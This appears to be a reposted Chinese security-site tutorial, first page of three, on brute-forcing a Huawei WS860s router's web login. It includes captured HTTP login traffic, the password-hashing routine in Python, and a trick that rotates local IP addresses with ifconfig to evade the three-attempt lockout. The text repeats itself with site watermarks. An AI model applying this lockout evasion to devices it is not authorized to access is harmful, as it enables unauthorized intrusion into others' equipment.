欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

用Python绕过“登录3次错误,等待一分钟”的限制

来源: 作者: 时间:2019-02-24 21:00 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

在院子里面看到了一个没人用的路由器(ws860s),看起来像个黑科技的玩意儿,就想着进去看看,到底有什么好玩的。看到后面的标签上有web界面的地址,然后登陆进去看看,发现有密码,然后我想,路由器的密码应该都是可以reset的,然后我就用笔戳那个reset键,奇迹没有发生,原来这个reset键坏了。
晕,心想web界面还可以进去,而且无线wifi也可以看到SSID,应该主要功能还是可以用的。功能看起来挺多的,所以就想看看,在网上查找通用密码找了好多,一一尝试过,都没有用。那么就用最没技术含量的爆破试试。

分析过程
抓包
1、打开路由的web页面:192.168.3.1,路由器返回


会得到csrf和cookie和所需要的值,这些值都要保留下来,后面会用。
2、输入用户名密码后:
user:admin
pass:87654321
 POST /api/system/user_login HTTP/1.1
    Host: 192.168.3.1
    Connection: keep-alive
    Content-Length: 234
    Accept: application/json, text/javascript, */*; q=0.01
    Origin: http://192.168.3.1
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
    Content-Type: application/json;charset=UTF-8
    Referer: http://192.168.3.1/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: SessionID_R3=0t+W065cW7DGrInE3k1lqW3VNRR4cszfo3SLhRUloQDhd05Ol1iFIkrgoXkIILigFdsFyxtWWiziYrf4Dj7+LJZnD1a1J4TaVSnt6dGrzeHrdSKZG0Q70OYF6k7RyPa; username=admin
    {"csrf":{"csrf_param":"nqVHIs3gM3IpAXFgmo5Sxin67E/MToI","csrf_token":"aqB57PLGqlN//9W9KtwKGIZzmdUauIc"},"data":{"UserName":"admin","Password":"ZTI0ZGY5MjAwNzhjM2RkNGU3ZThkMjQ0MmYwMGU1YzlhYjJhMjMxYmIzOTE4ZDY1Y2M1MDkwNmU0OWVjYWVmNA=="}}
3、路由器返回数据
{"errorCategory":"user_pass_err","csrf_param":"gn73LuAQ4GxsQkWLdpDVSDKcxinFbli","count":1,"csrf_token":"gu/bK/YjwYBL/uFQEA+v1W2oOz5fARI"}
密码的生成方法
从上面抓包的结果来看,Password字段是经过加密的,所以如果我们要暴力破解,需要把这个password的生成算法找出来。
打开web登录页面,查看源代码,找找算法

在web页面包含的js文件中,找到了UserName和Password的生成方案。
password_str = base64Encode(SHA256(password));
def encrpyt_password(my_org_pass):
hash_256 = hashlib.sha256()
hash_str = my_org_pass
hash_256.update(hash_str.encode('utf-8'))
hash_256_value = hash_256.hexdigest()
encodestr = base64.b64encode(hash_256_value.encode('utf-8'))
    pass;
登录的限制
连续登录3次错误密码,会在1分钟之内无法登录。

绕过3次错误密码,等待一分钟的限制
在这里我使用修改IP地址的方式来加快暴力破解的速度。原理就是当一个ip地址的登录次数超过3次时,那就换下一个IP来登录页面,253个ip,每个ip可以过3个密码,253*3 = 759,每次可以测试759个密码,2分钟能过759个,1天1440分钟能测试54万多点密码,如果密码不复杂,差不多是可以跑出来的。
在linux上修改ip地址,很简单一条命令就可以解决:
def change_my_ip(c_ip):
ip_last=c_ip
cmd = 'ifconfig eth1 192.168.3.' + str(ip_last);
a = os.popen(cmd);
pass;
提示内容:
密码错误的提示文本:
    [password:bbbbbbbb];{"errorCategory":"user_pass_err","csrf_param":"FcnG919l8J7XhQsOYQEMS3WhsC2liSX","count":2,"csrf_token":"IQ/LfSZSx7gTp6VflYnZelobNSpoMy2"}
ip地址被限制,需要等待1分钟的提示:
    [password:aaaaaaaa];{"errorCategory":"Three_time_err","csrf_param":"VKGTylVILQA9SFsTyYdpkHv8qfJPIIw","count":3,"csrf_token":"MTQLBcWQN+1DJjAP+A6xC4AUSXciBod"}
登录成功的提示:
    ****[password:xxxxxxxx];{"csrf_param":"H/DyWxogz7+2y4UfzhqddowkjH1uL04","csrf_token":"MorgBb0+PNpoE8KhwBwq4OoioD2NcCs","errorCategory":"ok","level":2,"IsWizard":true,"IsFirst":true}

[1] [2] [3]  下一页

在院子里面看到了一个没人用的路由器(ws860s),看起来像个黑科技的玩意儿,就想着进去看看,到底有什么好玩的。看到后面的标签上有web界面的地址,然后登陆进去看看,发现有密码,然后我想,路由器的密码应该都是可以reset的,然后我就用笔戳那个reset键,奇迹没有发生,原来这个reset键坏了。
晕,心想web界面还可以进去,而且无线wifi也可以看到SSID,应该主要功能还是可以用的。功能看起来挺多的,所以就想看看,在网上查找通用密码找了好多,一一尝试过,都没有用。那么就用最没技术含量的爆破试试。

分析过程
抓包
1、打开路由的web页面:192.168.3.1,路由器返回

本文来自无奈人生安全网

会得到csrf和cookie和所需要的值,这些值都要保留下来,后面会用。
2、输入用户名密码后:
user:admin
pass:87654321
 POST /api/system/user_login HTTP/1.1
    Host: 192.168.3.1
    Connection: keep-alive
    Content-Length: 234
    Accept: application/json, text/javascript, */*; q=0.01
    Origin: http://192.168.3.1
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
    Content-Type: application/json;charset=UTF-8
    Referer: http://192.168.3.1/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: SessionID_R3=0t+W065cW7DGrInE3k1lqW3VNRR4cszfo3SLhRUloQDhd05Ol1iFIkrgoXkIILigFdsFyxtWWiziYrf4Dj7+LJZnD1a1J4TaVSnt6dGrzeHrdSKZG0Q70OYF6k7RyPa; username=admin 内容来自无奈安全网
    {"csrf":{"csrf_param":"nqVHIs3gM3IpAXFgmo5Sxin67E/MToI","csrf_token":"aqB57PLGqlN//9W9KtwKGIZzmdUauIc"},"data":{"UserName":"admin","Password":"ZTI0ZGY5MjAwNzhjM2RkNGU3ZThkMjQ0MmYwMGU1YzlhYjJhMjMxYmIzOTE4ZDY1Y2M1MDkwNmU0OWVjYWVmNA=="}}
3、路由器返回数据
{"errorCategory":"user_pass_err","csrf_param":"gn73LuAQ4GxsQkWLdpDVSDKcxinFbli","count":1,"csrf_token":"gu/bK/YjwYBL/uFQEA+v1W2oOz5fARI"}
密码的生成方法
从上面抓包的结果来看,Password字段是经过加密的,所以如果我们要暴力破解,需要把这个password的生成算法找出来。
打开web登录页面,查看源代码,找找算法

在web页面包含的js文件中,找到了UserName和Password的生成方案。
password_str = base64Encode(SHA256(password));

无奈人生安全网


def encrpyt_password(my_org_pass):
hash_256 = hashlib.sha256()
hash_str = my_org_pass
hash_256.update(hash_str.encode('utf-8'))
hash_256_value = hash_256.hexdigest()
encodestr = base64.b64encode(hash_256_value.encode('utf-8'))
    pass;
登录的限制
连续登录3次错误密码,会在1分钟之内无法登录。

绕过3次错误密码,等待一分钟的限制
在这里我使用修改IP地址的方式来加快暴力破解的速度。原理就是当一个ip地址的登录次数超过3次时,那就换下一个IP来登录页面,253个ip,每个ip可以过3个密码,253*3 = 759,每次可以测试759个密码,2分钟能过759个,1天1440分钟能测试54万多点密码,如果密码不复杂,差不多是可以跑出来的。
在linux上修改ip地址,很简单一条命令就可以解决:
def change_my_ip(c_ip):
ip_last=c_ip
cmd = 'ifconfig eth1 192.168.3.' + str(ip_last);
a = os.popen(cmd);
pass; www.wnhack.com
提示内容:
密码错误的提示文本:
    [password:bbbbbbbb];{"errorCategory":"user_pass_err","csrf_param":"FcnG919l8J7XhQsOYQEMS3WhsC2liSX","count":2,"csrf_token":"IQ/LfSZSx7gTp6VflYnZelobNSpoMy2"}
ip地址被限制,需要等待1分钟的提示:
    [password:aaaaaaaa];{"errorCategory":"Three_time_err","csrf_param":"VKGTylVILQA9SFsTyYdpkHv8qfJPIIw","count":3,"csrf_token":"MTQLBcWQN+1DJjAP+A6xC4AUSXciBod"}
登录成功的提示:
    ****[password:xxxxxxxx];{"csrf_param":"H/DyWxogz7+2y4UfzhqddowkjH1uL04","csrf_token":"MorgBb0+PNpoE8KhwBwq4OoioD2NcCs","errorCategory":"ok","level":2,"IsWizard":true,"IsFirst":true}
本文来自无奈人生安全网

[1] [2] [3]  下一页

无奈人生安全网

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。